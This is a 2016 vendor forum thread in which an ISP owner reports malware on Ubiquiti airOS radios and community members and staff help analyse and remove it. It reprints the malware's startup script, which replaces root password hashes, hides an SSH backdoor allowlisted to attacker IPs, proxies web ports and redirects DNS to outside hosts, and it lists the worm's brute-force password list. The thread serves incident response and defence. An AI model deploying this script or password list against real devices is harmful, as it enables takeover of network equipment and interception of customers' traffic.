Reply
New Member
Posts: 5
Registered: ‎09-10-2013

Possible new virus - august 2016

Dear all,

My ISP is under attack. I don' t know if it is a new virus or if it is someone attacking my ISP specifically.

The sympthons vary, one sequence was:

1 - The client looses access to the internet
2 - We try to access to radio using a browser. It asks for a password, but when we type the password it neither accepts it, nor shows an error message.
3 - We ask the user to reboot the device and regain acces to the device.
4 - The browser shows the message "custom scripts [?] Detected [Manage]"
5 - We access the device using SSH and find that there is an rc.poststart and an AirNET file in /etc/persistent or /var/etc/persistent
6 - We check to see if the files and processes of MF virus are there and they are not.
7 - We list the files in /etc/persistent again and the virus has disapeared.
8 - We look at /var/etc/persistent and it is there.
9 - The virus keeps alternating between /var/etc/persistent and /etc/persistent
10 - We apply a tool to remove the MF virus even noto the having found its usual files.
11 - We loose access to the device
12 - After a manual reboot we regain access and the virus goes away, maybe because the tool removed all files in /etc/persistent.

In many other cases we simply lost the ability to connect to the anthenas through SSH. Many of them are still working.

The contents of the rc.poststart file are

XW.v5.6.9# cat rc.poststart

owned() {
sleep 10
kill -HUP 1 1>/dev/null 2>/dev/null
kill -9 `pidof lighttpd dropbear` 1>/dev/null 2>/dev/null
}
echo 'root:$1$DAJMAT8U$1DCY6ImIMGOzn4bDapdCm.:0:0Man SurprisedWNED:/etc/persistent:/bin/sh' > /etc/passwd
echo 'ubnt:$1$BE6ta0BP$vml4IXYI5U1bDs7rm41NW.:0:0Man SurprisedWNED:/etc/persistent:/bin/sh' >> /etc/passwd
sed -i '/lighttpd/d' /etc/inittab
sed -i '/dropbear/d' /etc/inittab
echo 'null::respawn:/bin/dropbear -F -d /etc/persistent/dropbear_dss_host_key -r /etc/persistent/dropbear_rsa_host_key -p 32700' >> /etc/inittab
echo 'null::respawn:/var/etc/persistent/proxy 0.0.0.0 80 5.196.50.44 10591' >> /etc/inittab
echo 'null::respawn:/var/etc/persistent/proxy 0.0.0.0 443 5.196.50.44 10592' >> /etc/inittab
/var/etc/persistent/AirNET
iptables -t nat -I PREROUTING -p udp --dport 53 -j DNAT --to 173.255.134.210:5353
iptables -I INPUT -p tcp --dport 32700 -s 5.196.50.44 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 200.98.64.46 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 173.255.236.223 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 159.253.131.113 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 192.155.88.213 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 206.190.150.20 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 189.45.36.66 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 177.8.32.74 -j ACCEPT
iptables -A INPUT -p tcp --dport 32700 -j DROP

The contents of the /etc/persistent directory are

XW.v5.6.9# ls
AirNET dropbear_dss_host_key dropbear_rsa_host_key proxy rc.poststart

The contents of the file AirNET are unreadable.

The proccesses running are


XW.v5.6.9# ps
PID USER VSZ STAT COMMAND
1 bigode 1988 S init
2 bigode 0 SW [kthreadd]
3 bigode 0 SW [ksoftirqd/0]
4 bigode 0 SW [events/0]
5 bigode 0 SW [khelper]
8 bigode 0 SW [async/mgr]
42 bigode 0 SW [sync_supers]
44 bigode 0 SW [bdi-default]
46 bigode 0 SW [kblockd/0]
66 bigode 0 SW [kswapd0]
67 bigode 0 SW [aio/0]
68 bigode 0 SW [crypto/0]
150 bigode 0 SW [mtdblockd]
256 bigode 1976 S /bin/watchdog -t 1 /dev/watchdog
281 bigode 0 SW [flush-31:0]
403 bigode 1144 S /sbin/hotplug2 --persistent --set-rules-file /usr/etc
961 bigode 7740 S /bin/infctld -m -c -g
962 bigode 2044 S /bin/wpa_supplicant -D wext -i ath0 -c /etc/wpasuppli
963 bigode 2596 S /bin/pppd ath0
964 bigode 1288 S /bin/dnsmasq -k -C /etc/dnsmasq.conf -x /var/run/dnsm
965 bigode 2028 S /bin/dropbear -F -r /etc/persistent/dropbear_dss_host
966 bigode 4408 S /bin/lighttpd -D -f /etc/lighttpd.conf
967 bigode 1988 S init
1241 bigode 2096 S /bin/dropbear -F -r /etc/persistent/dropbear_dss_host
1283 bigode 1988 S -sh
1468 bigode 2092 S /bin/dropbear -F -r /etc/persistent/dropbear_dss_host
1470 bigode 2044 S /bin/dropbear -F -r /etc/persistent/dropbear_dss_host
1471 bigode 1984 R ps

I am using AirOS 5.6.5. As far as I know that version should be resistent to MF. I updated the the latest version, what could be done even in an infected device, but the virus is still there after the update.

The major problem is that in the majority of cases, I lost SSH access. With the MF virus that did not happen and I could clean the devices remotely.

I am no expert in ubiquiti devices, just a ISP owner who uses them.

Please help,

Marcelo

Established Member
Posts: 1,949
Registered: ‎07-17-2010
Kudos: 346
Solutions: 81

Re: Possible new virus - august 2016

[ Edited ]

Reboot the device, quickly change the password and see if that cures it.

 

While not a permanent fix, this will tell you if the file stays with the device after reboot or if the files are being re-written by another source after reboot.

 

@UBNT-James

 

@UBNT-Edmundas

 

@UBNT-sriram

New Member
Posts: 5
Registered: ‎09-10-2013

Re: Possible new virus - august 2016

Thank you very much for you answer.

 

We had already started to perform, in every problematic device, the following procedure:

 

1 - ask the user to reboot the device

2 - change the password

3 - change ssh port

4 - update from AirOS 5.6.5 to 5.6.9.

 

We could only do it to about twenty devices, but till now no one was reinfected.

 

Maybe steps 3 and 4 are unecessary. We will try to do only steps 1 and 2 in some devices and see what happens.

 

Do you thing the invader new the password from the beggining?

 

Even knowing the password the ivasion looks quite sofisticated. We are not a particularly large ISP (1700 users) and did not expect any hacker to focus on us. Is there any hacker kit that could allow a script kid to do what seems to have been done? Can we have access to such kit?

 

The greatest problem now is that we need to contact the user to reboot the device, since we lost access to the anthenas. Is it possible that SSH is still there in another port? Is there a way to find which port is it? I would like to change all the passwords using a script.

 

Completing the question, is there a way to change a password through SSH without beeing prompted fro the password? I want to put everything in a script.

 

If you cannot aswer all this questions in this topic, I understand, but I will be very pleased to receive any hints.

 

When I have new information, I will post it here.

    

Thank you again,

 

                 Jorge

 

 

 

 

 

 

 

 

 

 

Emerging Member
Posts: 44
Registered: ‎11-15-2011
Kudos: 8

Re: Possible new virus - august 2016

Revisando el rc.poststart veo que levanta el ssh sobre el puerto 32700 y luego crea una regla de iptables para evitar que cualquiera pueda acceder a ese puerto:

 

iptables -I INPUT -p tcp --dport 32700 -s 5.196.50.44 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 200.98.64.46 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 173.255.236.223 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 159.253.131.113 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 192.155.88.213 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 206.190.150.20 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 189.45.36.66 -j ACCEPT
iptables -I INPUT -p tcp --dport 32700 -s 177.8.32.74 -j ACCEPT
iptables -A INPUT -p tcp --dport 32700 -j DROP

 

¿Solucion? Falsea dentro de tu red cualquiera de estas IPs y accede a todos los equipos mediante el puerto 32700. Podras eliminar el virus y reiniciar de nuevo la antena sin él... y sin necesidad de que los clientes reinicien la antena.

 

Otro tema curioso:

 

iptables -t nat -I PREROUTING -p udp --dport 53 -j DNAT --to 173.255.134.210:5353

 

Están falseando las peticiones a cualquier puerto UDP 53 (DNS!) a esa IP... con el puerto 5353... seguramente de esta forma controle las antenas infectadas...

 

Estaria bien reportar a abuse de ese proveedor de hosting que esa maquina está infectada.

 

Ubiquiti Employee
Posts: 7,347
Registered: ‎11-27-2012
Kudos: 1901
Solutions: 468
Contributions: 73

Re: Possible new virus - august 2016

Are you able to grab the Support Info file from one of these units(while showing custom scripts installed)?  If so, can you forward to james@ubnt.com?

Ubiquiti Employee
Posts: 7,347
Registered: ‎11-27-2012
Kudos: 1901
Solutions: 468
Contributions: 73

Re: Possible new virus - august 2016

[ Edited ]

The MF worm can't exploit 5.6.2+/5.5.10u2+ as far as we have seen, it does, however, try to access devices using a short list of common/weak passwords.  I'd advise changing the password on any existing units.

 

Ideally 8+ characters with w/ at least one uppercase/lowercase/digit and special character.

 

 

Ubiquiti Employee
Posts: 7,347
Registered: ‎11-27-2012
Kudos: 1901
Solutions: 468
Contributions: 73

Re: Possible new virus - august 2016

Here is the password list used in one of the latest samples.

 

admin
root
ubnt
ubnt123
password
abcd1234
abcdefgh
qwerty
abc123
111111
123456
123123
123qwe
12345678
admin1
!@#$%^&*
ubiquiti
000000
1q2w3e4r
!Q@W#E$R
1qaz2wsx
New Member
Posts: 5
Registered: ‎09-10-2013

Re: Possible new virus - august 2016

Thank you very much for your answer. We did not know what was the meaning of the rc.poststart contents.

 

What you said was very helpful.

 

We will now try to learn how to fake an ip address. I belive I need to

 

1 -  get some tool to do IP spoothing,

2 - install it in the server we will use to launch the SSH accesses

3 - somehow use it to change the ip source address of the packages going out of the server

4 - route the answers of the anthenas in such away that they go back to the server instead of to the real IP

 

We never did anything similar. If you have more hints we will be delighted.

 

For you to understand our level of knowledge I learned to handle anthenas and routers, but I am not a programmer and I don't have an accademic degree in computer science. I have a friend that helps who is a programmer and has good knowledge of computer theory, but who does not work for my ISP. He generally works with statistics, not networks.

 

Thus, with help we probably can handle the situation, but we are not proficient and have to insist in asking for help.

 

Thank you again,

 

   Marcelo

 

 

 

New Member
Posts: 5
Registered: ‎09-10-2013

Re: Possible new virus - august 2016

In my previous message I forgot one important step and will correct this now. The procedure is

 

1 - ask the user to reboot the devicec

2 - access the device using a browser and see the message saying that customs scripts were detected

3 - click in the "manage" option and ask the custom script to be removed.

4 - change the password

5 - change ssh port

6 - update from AirOS 5.6.5 to 5.6.9.

 

Sorry for not having listed all the steps before. I had forgotten something important.

New Member
Posts: 5
Registered: ‎09-10-2013

Re: Possible new virus - august 2016

We were not using any of the password in the list. Is it possible that someone who new the password (ex: a former employee) could add it to the list?

 

Thank you.

Ubiquiti Employee
Posts: 7,347
Registered: ‎11-27-2012
Kudos: 1901
Solutions: 468
Contributions: 73

Re: Possible new virus - august 2016

Doesn't look like this is related to the MF worm at all.

 

Looks like it is NATing DNS requests to 173.255.134.210:5353. (contacted provider)

New Member
Posts: 3
Registered: ‎06-10-2015

Re: Possible new virus - august 2016

James,

 

You wrote "Looks like it is NATing DNS requests to 173.255.134.210:5353. (contacted provider)", should I understand that you have contacted the provider of that IP?

Ubiquiti Employee
Posts: 7,347
Registered: ‎11-27-2012
Kudos: 1901
Solutions: 468
Contributions: 73

Re: Possible new virus - august 2016


adrivita wrote:

James,

 

You wrote "Looks like it is NATing DNS requests to 173.255.134.210:5353. (contacted provider)", should I understand that you have contacted the provider of that IP?


Yes.

 

As far as the worm, it isn't clear if this is being spread radio to radio or via remote host.

 

 

 

New Member
Posts: 3
Registered: ‎06-10-2015

Re: Possible new virus - august 2016

When JRiera wrote that I could fake the IP address and access the devices through port 32700 I was happy, but looking and the rc.poststart again (what I am starting to understand) I got the impression that the password was changed too.

 

Is that correct?

 

I suspect that this means that I cannot access the devices without the unencrypted version of the password, is that true?

 

Fortunatelly rebooting the device gives me access again. Why does this happen? Did the hacker just not make the changes permanent because he didn't want too?

 

I am now thinking that maybe the person who did that is reading this forum. If that person happens to be you, who is reading this right now, couldn't you kindly revert what you did? That is causing a lot of trouble to us.

 

 

 

 

Veteran Member
Posts: 7,497
Registered: ‎04-21-2011
Kudos: 2600
Solutions: 167

Re: Possible new virus - august 2016

@mtabian

Might also be able to block all those IP addresses, and the port 32700 on the "INPUT" chain on your main router!

 

5.196.50.44   seems to be the "Control" IP address.

Ubiquiti Employee
Posts: 7,347
Registered: ‎11-27-2012
Kudos: 1901
Solutions: 468
Contributions: 73

Re: Possible new virus - august 2016


adrivita wrote:

When JRiera wrote that I could fake the IP address and access the devices through port 32700 I was happy, but looking and the rc.poststart again (what I am starting to understand) I got the impression that the password was changed too.

 

Is that correct?

 

I suspect that this means that I cannot access the devices without the unencrypted version of the password, is that true?

 

Fortunatelly rebooting the device gives me access again. Why does this happen? Did the hacker just not make the changes permanent because he didn't want too?

 

I am now thinking that maybe the person who did that is reading this forum. If that person happens to be you, who is reading this right now, couldn't you kindly revert what you did? That is causing a lot of trouble to us.

 

 

 

 


 

Since the last outbreak, we removed support for rc.scripts in the version of airOS on downloads.ubnt.com.  A reboot will clear them out (not persistent).  Looks like no permanent changes were made to the config.  

 

Anyone seeing this should confirm they are up to date on all units and change device credentials ASAP.  If possible, block inbound traffic to customer management interfaces. (80/443/22)

 

 

Emerging Member
Posts: 66
Registered: ‎08-30-2010
Kudos: 12
Solutions: 4

Re: Possible new virus - august 2016

UBNT do you feel that we are safe with 5.6.2+ at the moment?

 

We are slowly upgrading to 5.6.9 but it will take us a while. If there is a known exploit, we will rush the upgrade process...

Highlighted
Emerging Member
Posts: 44
Registered: ‎11-15-2011
Kudos: 8

Re: Possible new virus - august 2016

That's right, the password is changed with the virus:

 

echo 'root:$1$DAJMAT8U$1DCY6ImIMGOzn4bDapdCm.:0:0WNED:/etc/persistent:/bin/sh' > /etc/passwd
echo 'ubnt:$1$BE6ta0BP$vml4IXYI5U1bDs7rm41NW.:0:WNED:/etc/persistent:/bin/sh' >> /etc/passwd

 

completely replace the file /etc/passwd (the first line) and the second adds another user Man Sad

Ubiquiti Employee
Posts: 5,460
Registered: ‎05-13-2009
Kudos: 1614
Solutions: 138

Re: Possible new virus - august 2016


jriera wrote:

That's right, the password is changed with the virus:

 

echo 'root:$1$DAJMAT8U$1DCY6ImIMGOzn4bDapdCm.:0:0WNED:/etc/persistent:/bin/sh' > /etc/passwd
echo 'ubnt:$1$BE6ta0BP$vml4IXYI5U1bDs7rm41NW.:0:WNED:/etc/persistent:/bin/sh' >> /etc/passwd

 

completely replace the file /etc/passwd (the first line) and the second adds another user Man Sad


Also such password change isn't stored permanently and doesn't survive device reboot. Furthermore rc. scripts are not executed after device reboot in the latest airOS releases (i.e. v5.6.9), so /etc/password file isn't owerwritten again.

 

-Edmundas

New Member
Posts: 1
Registered: ‎08-04-2014

Re: Possible new virus - august 2016

[ Edited ]

I´m having the same problem here 400+ devices.

 

What i´ve seem so far:

 

The virus grabs password in exploited devices, and if is the same, uses to access 5.6.6+ devices to disable login and ssh port.

 

The virus disables SSH port. I´ve tried nmap ports to found ssh port but no success.

 

The passwords from other virus don´t work.

 

Some access to internet on the clients but it makes instable maybe mess with DNS and NAT.

 

Bridge still working but lost control.

 

CureMalware/AirControl dont work

 

No resets so far

 

One more thing; the user login screen dont give credentials errors after a try. Makes it seems its compromissed. 

 

So far ssh down/ http/ https compromissed...

 

Going to every client site doing upgrade and change of password, really a pain in the ´ss... Time lost, money lost/ client lost.

 

Need a urgent tool that uses the same exploit to auto recover the devices.

Reply